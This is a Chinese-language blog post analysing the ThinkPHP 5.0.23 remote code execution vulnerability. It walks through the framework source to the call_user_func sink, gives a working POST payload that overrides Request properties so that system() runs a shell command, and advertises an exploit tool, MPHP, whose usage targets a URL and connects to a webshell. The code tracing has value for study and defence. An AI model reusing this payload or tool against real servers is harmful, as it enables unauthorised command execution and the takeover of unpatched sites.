[ 网络安全]MPHP(ThinkPHPV5.0.23原理刨析)漏洞利用工具

Github==>https://github.com/MartinxMax/MPHP

  • 首页
  • 分析
    • 参考
    • index.php 入口文件 [/public/index.php]
    • start.php 加载框架引导文件 [/thinkphp/start.php]
    • base.php加载基础文件 [/thinkphp/base.php]
    • App.php 执行应用run方法 [/thinkphp/library/think/App.php]
    • Request.php 请求方法 [/thinkphp/library/think/Request.php]
    • Route.php 路由方法 [/thinkphp/library/think/Route.php]
    • 逆向
    • 分析
    • POC
  • MPHP漏洞利用工具
    • 基础使用方法
    • 漏洞利用

首页

ThinkPHP框架远程代码RCE漏洞

分析

参考

ThinkPHP分析

index.php 入口文件 [/public/index.php]

define('APP_PATH', __DIR__ . '/../application/');
require __DIR__ . '/../thinkphp/start.php';

start.php 加载框架引导文件 [/thinkphp/start.php]

require __DIR__ . '/base.php';
App::run()->send();

base.php加载基础文件 [/thinkphp/base.php]


require CORE_PATH . 'Loader.php';

App.php 执行应用run方法 [/thinkphp/library/think/App.php]

    public static function run(Request $request = null)
    {
        ....代码省略
            // 未设置调度信息则进行 URL 路由检测
           
            if (empty($dispatch)) {
                $dispatch = self::routeCheck($request, $config);  #重点
            }
		 
            // 记录当前调度信息
            $request->dispatch($dispatch);

            // 记录路由和请求信息
            if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }

            // 监听 app_begin
            Hook::listen('app_begin', $dispatch);

            // 请求缓存检查
            $request->cache(
                $config['request_cache'],
                $config['request_cache_expire'],
                $config['request_cache_except'] #重点
            );

            $data = self::exec($dispatch, $config); #重点 这时候如果debug模式开启,就会调用$request->param()
        } catch (HttpResponseException $exception) {
            $data = $exception->getResponse();
        }
	...代码省略
public static function routeCheck($request, array $config)
    {
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;

        // 路由检测
        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
        if ($check) {
            // 开启路由
            if (is_file(RUNTIME_PATH . 'route.php')) {
                // 读取路由缓存
                $rules = include RUNTIME_PATH . 'route.php';
                is_array($rules) && Route::rules($rules);
            } else {
                $files = $config['route_config_file'];
                foreach ($files as $file) {
                    if (is_file(CONF_PATH . $file . CONF_EXT)) {
                        // 导入路由配置
                        $rules = include CONF_PATH . $file . CONF_EXT;
                        is_array($rules) && Route::import($rules);
                    }
                }
            }

            // 路由检测(根据路由定义返回不同的URL调度) 重点
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

            if ($must && false === $result) {
                // 路由无效
                throw new RouteNotFoundException();
            }
        }

        // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }

        return $result;
    }
	...代码省略
protected static function exec($dispatch, $config)
    {
        switch ($dispatch['type']) {
            case 'redirect': // 重定向跳转
                $data = Response::create($dispatch['url'], 'redirect')
                    ->code($dispatch['status']);
                break;
            case 'module': // 模块/控制器/操作
                $data = self::module(
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;
            case 'controller': // 执行控制器操作
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                $data = Loader::action(
                    $dispatch['controller'],
                    $vars,
                    $config['url_controller_layer'],
                    $config['controller_suffix']
                );
                break;
            case 'method': // 回调方法
            //instance()->param() 跟进
                $vars = array_merge(Request::instance()->param(), $dispatch['var']); # 重点
                $data = self::invokeMethod($dispatch['method'], $vars);
                break;
            case 'function': // 闭包
                $data = self::invokeFunction($dispatch['function']);
                break;
            case 'response': // Response 实例
                $data = $dispatch['response'];
                break;
            default:
                throw new \InvalidArgumentException('dispatch type not support');
        }

        return $data;
    }
    	...代码省略

Request.php 请求方法 [/thinkphp/library/think/Request.php]

 ...代码省略
    public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            //如果method等于true,调用$this->server() 重点
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
        //如果$method不等于true,则会取配置选项var_method,该值为_method
            if (isset($_POST[Config::get('var_method')])) {
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                //调用$this->{$this->method}($_POST);语句
                $this->{$this->method}($_POST);
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }
        return $this->method;
    }
 ...代码省略
    public function server($name = '', $default = null, $filter = '')
    {
        if (empty($this->server)) {
            $this->server = $_SERVER;
        }
        if (is_array($name)) {
            return $this->server = array_merge($this->server, $name);
        }
        //在server()方法中调用$this->input方法 重点
        return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
       
    }
 ...代码省略

    public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }
        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            } else {
                $type = 's';
            }
            // 按.拆分成多维数组进行判断
            foreach (explode('.', $name) as $val) {
                if (isset($data[$val])) {
                    $data = $data[$val];
                } else {
                    // 无输入数据,返回默认值
                    return $default;
                }
            }
            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器 
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            # 重点 跟进filterValue()
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }
        return $data;
    }
 ...代码省略
protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;
        return $filter;
    }
 ...代码省略
    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value); # 超级重点 代码执行点
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
                } elseif (!empty($filter)) {
                    // filter函数不存在时, 则使用filter_var进行过滤
                    // filter为非整形值时, 调用filter_id取得过滤id
                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                    if (false === $value) {
                        $value = $default;
                        break;
                    }
                }
            }
        }
        return $this->filterExp($value);
    }

Route.php 路由方法 [/thinkphp/library/think/Route.php]

public static function check($request, $url, $depr = '/', $checkDomain = false)
    {
        //检查解析缓存
        if (!App::$debug && Config::get('route_check_cache')) {
            $key = self::getCheckCacheKey($request);
            if (Cache::has($key)) {
                list($rule, $route, $pathinfo, $option, $matches) = Cache::get($key);
                return self::parseRule($rule, $route, $pathinfo, $option, $matches, true);
            }
        }

        // 分隔符替换 确保路由定义使用统一的分隔符
        $url = str_replace($depr, '|', $url);

        if (isset(self::$rules['alias'][$url]) || isset(self::$rules['alias'][strstr($url, '|', true)])) {
            // 检测路由别名
            $result = self::checkRouteAlias($request, $url, $depr);
            if (false !== $result) {
                return $result;
            }
        }
        # $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); 重点
        $method = strtolower($request->method());
        // 获取当前请求类型的路由规则
        //check()方法中根据不同的$rules值返回不同的结果,而$rules的值由$method决定,$method则由$request->method()返回值取小写获得,所以再次回到$request->method()方法,这次没有参数
        $rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];
        
        // 检测域名部署
        if ($checkDomain) {
            self::checkDomain($request, $rules, $method);
        }
        // 检测URL绑定
        $return = self::checkUrlBind($url, $rules, $depr);
        if (false !== $return) {
            return $return;
        }
        if ('|' != $url) {
            $url = rtrim($url, '|');
        }
        $item = str_replace('|', '/', $url);
        if (isset($rules[$item])) {
            // 静态路由规则检测
            $rule = $rules[$item];
            if (true === $rule) {
                $rule = self::getRouteExpress($item);
            }
            if (!empty($rule['route']) && self::checkOption($rule['option'], $request)) {
                self::setOption($rule['option']);
                return self::parseRule($item, $rule['route'], $url, $rule['option']);
            }
        }

        // 路由规则检测
        if (!empty($rules)) {
            return self::checkRoute($request, $rules, $url, $depr);
        }
        return false;
    }

逆向

函数 <-传递 <-传递 <-传递 <-传递 <-传递 <-传递 条件
call_user_func($filter, $value) filterValue(&$value, x, $filters) filterValue($data, x, $filter) 如果input函数中$name为真,那么$data=$name,则 $filter = t h i s − > g e t F i l t e r ( this->getFilter( this>getFilter(filter, $default); t h i s − > i n p u t ( this->input( this>input(this->server, false === n a m e ? f a l s e : s t r t o u p p e r ( name ? false : strtoupper( name?false:strtoupper(name), $default, $filter); server($name = ‘’, $default = null, $filter = ‘’) $this->server(‘REQUEST_METHOD’) ?: ‘GET’; $method控制

分析

主要利用方式控制$method的值,并且调用Request类的任意方法,当调用构造方法__construct()时,就可以覆盖Request类任意成员变量,上面的$this->filter和$this->server两个值,同时也可以覆盖$this->method,直接指定了check()方法中的$method值。(类似于反序列化,主要就是覆盖Request类中成员变量形成了代码执行因素)

主动触发Request类的构造函数,通过参数_method=__construct传入
可以传入filter=system来设置$this->filter的值,此处filter不是数组也可以,因为在getFilter()中虽然对filter是字符串的情况进行了按,分割,但是传入一个值的情况下不影响最终的返回值

protected function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }

        // 保存 php://input
        $this->input = file_get_contents('php://input');
    }

$this->server,在调用$this->server('REQUEST_METHOD')时指定了键值,所以通过传入server数组即可

server[REQUEST_METHOD]=id

然后我们注意到上面check()方法,

$rules = isset(self::\$rules[$method]) ? self::\$rules[$method] : [];

它的返回值由$rules决定,而$rules的值取决于键值$method,当我们指定$methodget时,可以正确获取到路由信息,从而通过checkRoute()检查,此时我们通过指定method=get覆盖$this->method的值即可
s=captcha,根据源码我们知道,它是通过get的方式注册的,也就意味着只能通过get给captcha传参,且method函数的返回值必须是get,因此在method方法结束后,所以我们必须将$method的值覆盖为get,这样才能保证我们访问captcha路由不会出错,app.php会继续向下进行

POC

POST /index.php?s=captcha HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en\
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

MPHP漏洞利用工具

基础使用方法

python3 MPHP.py -h

[ 网络安全]MPHP(ThinkPHPV5.0.23原理刨析)漏洞利用工具_第1张图片-url:URL目标

漏洞利用

[ 网络安全]MPHP(ThinkPHPV5.0.23原理刨析)漏洞利用工具_第2张图片python3 MPHP.py -url http://192.168.101.1:8080/
[ 网络安全]MPHP(ThinkPHPV5.0.23原理刨析)漏洞利用工具_第3张图片连接WebShell
[ 网络安全]MPHP(ThinkPHPV5.0.23原理刨析)漏洞利用工具_第4张图片

你可能感兴趣的:(Python,web安全,php,安全)